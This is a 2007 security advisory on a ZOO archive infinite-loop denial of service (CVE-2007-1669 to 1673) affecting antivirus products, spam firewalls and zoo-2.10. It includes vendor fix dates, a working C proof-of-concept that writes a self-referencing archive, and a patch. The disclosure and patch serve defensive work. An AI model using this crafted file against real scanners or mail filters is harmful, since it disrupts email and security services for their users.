<<< Date Index >>>     <<< Thread Index >>>

Multiple vendors ZOO file decompression infinite loop DoS



Topic:                  Multiple vendors ZOO file decompression infinite
                        loop DoS

Announced:              2007-05-04
Credits:                Jean-Sebastien Guay-Leroux
Products:               Multiple (see section III)
Impact:                 DoS (99% CPU utilisation)
CVE ID:                 CVE-2007-1669, CVE-2007-1670, CVE-2007-1671,
                        CVE-2007-1672, CVE-2007-1673


I.      BACKGROUND

Zoo is a compression program and format developed by Rahul Dhesi in the mid
1980s. The format is based on the LZW compression algorithm and compressed
files are identified by the .zoo file extension. It is no longer widely
used, but many modern softwares implement the ZOO compression algorithm.


II.     DESCRIPTION

It's possible to make the ZOO implementation to enter in an infinite loop
condition.  The vulnerability lies in the algorithm used to locate the
files inside the archive.  Each file in a ZOO archive is identified by a
direntry structure.  Those structures are linked between themselves with a
'next' pointer.  This pointer is in fact an offset from the beginning of
the file, representing the next direntry structure.  By specifying an
already processed file, it's possible to process more than one time this
same file.  The ZOO parser will then enter an infinite loop condition.


III.    AFFECTED SOFTWARES

o Barracuda Spam Firewall
o Panda Software Antivirus
o avast! antivirus
o Avira AntiVir
o zoo-2.10
o unzoo.c
o WinAce
o PicoZip


IV.     IMPACT

If this attack is conducted against a vulnerable antivirus, the host system
will have its CPU at 100% utilization and may have problems answering other
requests.

If this attack is conducted against an SMTP content filter running a
vulnerable ZOO implementation, legitimate clients may be unable to send and
receive email through this server.


V.      SOLUTION

o Barracuda Spam Firewall - CVE-2007-1669:
  They fixed this problem in virusdef 2.0.6399 for firmware >= 3.4 and
  2.0.6399o for firmware < 3.4 March 19th 2007.

o Panda Software Antivirus - CVE-2007-1670:
  They fixed this problem April 2nd 2007.

o avast! antivirus - CVE-2007-1672:
  They fixed this problem in version 4.7.981, April 14th 2007.

o Avira AntiVir - CVE-2007-1671:
  They fixed this problem in avpack32.dll version 7.3.0.6 March 22th 2007.

o zoo-2.10 - CVE-2007-1669:
  This software is not maintained anymore.  A patch for version 2.10 is
  provided in section VII of this advisory because some SMTP content
  filters may still use this software.

o unzoo.c - CVE-2007-1673:
  This software is not maintained anymore.  No patch is provided for this
  software.

o WinAce was contacted but no response was received from them.

o PicoZip was contacted but no response was received from them.


VI.     PROOF OF CONCEPT

Using the PIRANA framework version 0.3.3, available at
http://www.guay-leroux.com , it is possible to test your SMTP server
against this vulnerability.

Alternatively, here is an exploit that will create a file that will trigger
the infinite loop condition when it is processed.

/*

Exploit for the vulnerability:
Multiple vendors ZOO file decompression infinite loop DoS

coded by Jean-Sébastien Guay-Leroux
September 2006

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Structure of a ZOO header

#define ZOO_HEADER_SIZE         0x0000002a

#define ZH_TEXT                 0
#define ZH_TAG                  20
#define ZH_START_OFFSET         24
#define ZH_NEG_START_OFFSET     28
#define ZH_MAJ_VER              32
#define ZH_MIN_VER              33
#define ZH_ARC_HTYPE            34
#define ZH_ARC_COMMENT          35
#define ZH_ARC_COMMENT_LENGTH   39
#define ZH_VERSION_DATA         41


#define D_DIRENTRY_LENGTH       56

#define D_TAG                   0
#define D_TYPE                  4
#define D_PACKING_METHOD        5
#define D_NEXT_ENTRY            6
#define D_OFFSET                10
#define D_DATE                  14
#define D_TIME                  16
#define D_FILE_CRC              18
#define D_ORIGINAL_SIZE         20
#define D_SIZE_NOW              24
#define D_MAJ_VER               28
#define D_MIN_VER               29
#define D_DELETED               30
#define D_FILE_STRUCT           31
#define D_COMMENT_OFFSET        32
#define D_COMMENT_SIZE          36
#define D_FILENAME              38
#define D_VAR_DIR_LEN           51
#define D_TIMEZONE              53
#define D_DIR_CRC               54
#define D_NAMLEN                ( D_DIRENTRY_LENGTH + 0 )
#define D_DIRLEN                ( D_DIRENTRY_LENGTH + 1 )
#define D_LFILENAME             ( D_DIRENTRY_LENGTH + 2 )


void put_byte (char *ptr, unsigned char data) {
        *ptr = data;
}

void put_word (char *ptr, unsigned short data) {
        put_byte (ptr, data);
        put_byte (ptr + 1, data >> 8);
}

void put_longword (char *ptr, unsigned long data) {
        put_byte (ptr, data);
        put_byte (ptr + 1, data >> 8);
        put_byte (ptr + 2, data >> 16);
        put_byte (ptr + 3, data >> 24);
}

FILE * open_file (char *filename) {

        FILE *fp;

        fp = fopen ( filename , "w" );

        if (!fp) {
                perror ("Cant open file");
                exit (1);
        }

        return fp;
}

void usage (char *progname) {

        printf ("\nTo use:\n");
        printf ("%s <archive name>\n\n", progname);

        exit (1);
}

int main (int argc, char *argv[]) {
        FILE *fp;
        char *hdr = (char *) malloc (4096);
        char *filename = (char *) malloc (256);
        int written_bytes;
        int total_size;

        if ( argc != 2) {
                usage ( argv[0] );
        }

        strncpy (filename, argv[1], 255);

        if (!hdr || !filename) {
                perror ("Error allocating memory");
                exit (1);
        }

        memset (hdr, 0x00, 4096);

        // Build a ZOO header
        memcpy          (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 18);
        put_longword    (hdr + ZH_TAG, 0xfdc4a7dc);
        put_longword    (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);
        put_longword    (hdr + ZH_NEG_START_OFFSET,
            (ZOO_HEADER_SIZE) * -1);
        put_byte        (hdr + ZH_MAJ_VER, 2);
        put_byte        (hdr + ZH_MIN_VER, 0);
        put_byte        (hdr + ZH_ARC_HTYPE, 1);
        put_longword    (hdr + ZH_ARC_COMMENT, 0);
        put_word        (hdr + ZH_ARC_COMMENT_LENGTH, 0);
        put_byte        (hdr + ZH_VERSION_DATA, 3);

        // Build vulnerable direntry struct
        put_longword    (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);
        put_byte        (hdr + ZOO_HEADER_SIZE + D_TYPE, 1);
        put_byte        (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0);
        put_longword    (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a);
        put_longword    (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71);
        put_word        (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);
        put_word        (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);
        put_word        (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0);
        put_longword    (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0);
        put_longword    (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0);
        put_byte        (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1);
        put_byte        (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0);
        put_byte        (hdr + ZOO_HEADER_SIZE + D_DELETED, 0);
        put_byte        (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0);
        put_longword    (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0);
        put_word        (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0);
        memcpy          (hdr + ZOO_HEADER_SIZE + D_FILENAME,
                            "AAAAAAAA.AAA", 13);

        total_size = ZOO_HEADER_SIZE + 51;

        fp = open_file (filename);

        if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) {
                printf ("The file has been written\n");
        } else {
                printf ("Cant write to the file\n");
                exit (1);
        }

        fclose (fp);

        return 0;
}


VII.    PATCH

To fix this issue, ensure that the offset of the next file to process is
always greater than the one you are currently processing.  This will
guarantee the fact that it's not possible to process the same files over
and over again.  Here is a patch for the software zoo version 2.10
distributed with many UNIX systems:


diff -u zoo/zooext.c zoo-patched/zooext.c
--- zoo/zooext.c        1991-07-11 15:08:00.000000000 -0400
+++ zoo-patched/zooext.c        2007-03-16 16:45:28.000000000 -0500
@@ -89,6 +89,7 @@
 #endif
 struct direntry direntry;                 /* directory entry */
 int first_dir = 1;
 /* first dir entry seen? */
+unsigned long zoo_pointer = 0;                     /* Track our position
in the file */

 static char extract_ver[] = "Zoo %d.%d is needed to extract %s.\n";
 static char no_space[] = "Insufficient disk space to extract %s.\n";
@@ -169,6 +170,9 @@
                exit_status = 1;
    }
    zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data
    begins */
+
+   /* Begin tracking our position in the file */
+   zoo_pointer = zoo_header.zoo_start;
 }

 #ifndef PORTABLE
@@ -597,6 +601,12 @@
    } /* end if */

 loop_again:
+
+   /* Make sure we are not seeking to already processed data */
+   if (next_ptr <= zoo_pointer)
+          prterror ('f', "ZOO chain structure is corrupted\n");
+   zoo_pointer = next_ptr;
+
    zooseek (zoo_file, next_ptr, 0); /* ..seek to next dir entry */
 } /* end while */

diff -u zoo/zoolist.c zoo-patched/zoolist.c
--- zoo/zoolist.c       1991-07-11 15:08:04.000000000 -0400
+++ zoo-patched/zoolist.c       2007-03-16 16:45:20.000000000 -0500
@@ -92,6 +92,7 @@
 int show_mode = 0;                             /* show file protection */
 #endif
 int first_dir = 1;                             /* if first direntry -- to
 adjust dat_ofs */
+unsigned long zoo_pointer = 0;         /* Track our position in the file
*/

 while (*option) {
    switch (*option) {
@@ -211,6 +212,9 @@
                show_acmt (&zoo_header, zoo_file, 0);           /* show
                archive comment */
        }

+   /* Begin tracking our position in the file */
+   zoo_pointer = zoo_header.zoo_start;
+
    /* Seek to the beginning of the first directory entry */
    if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) {
       ercount++;
@@ -437,6 +441,11 @@
          if (verb_list && !fast)
             show_comment (&direntry, zoo_file, 0, (char *) NULL);
       } /* end if (lots of conditions) */
+
+      /* Make sure we are not seeking to already processed data */
+      if (direntry.next <= zoo_pointer)
+               prterror ('f', "ZOO chain structure is corrupted\n");
+      zoo_pointer = direntry.next;

                /* ..seek to next dir entry */
       zooseek (zoo_file, direntry.next, 0);


VIII.   CREDITS

Jean-Sebastien Guay-Leroux found the bug and wrote the exploit for it.


IX.     REFERENCES

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669

2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670

3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671

4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672

5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673


X.      HISTORY

2006-09-??  : Vulnerability is found
2007-03-19  : All vendors notified
2007-03-19  : Barracuda Networks provided a fix
2007-03-22  : Avira provided a fix
2007-04-02  : Panda Antivirus provided a fix
2007-04-14  : avast! antivirus provided a fix
2007-05-04  : Public disclosure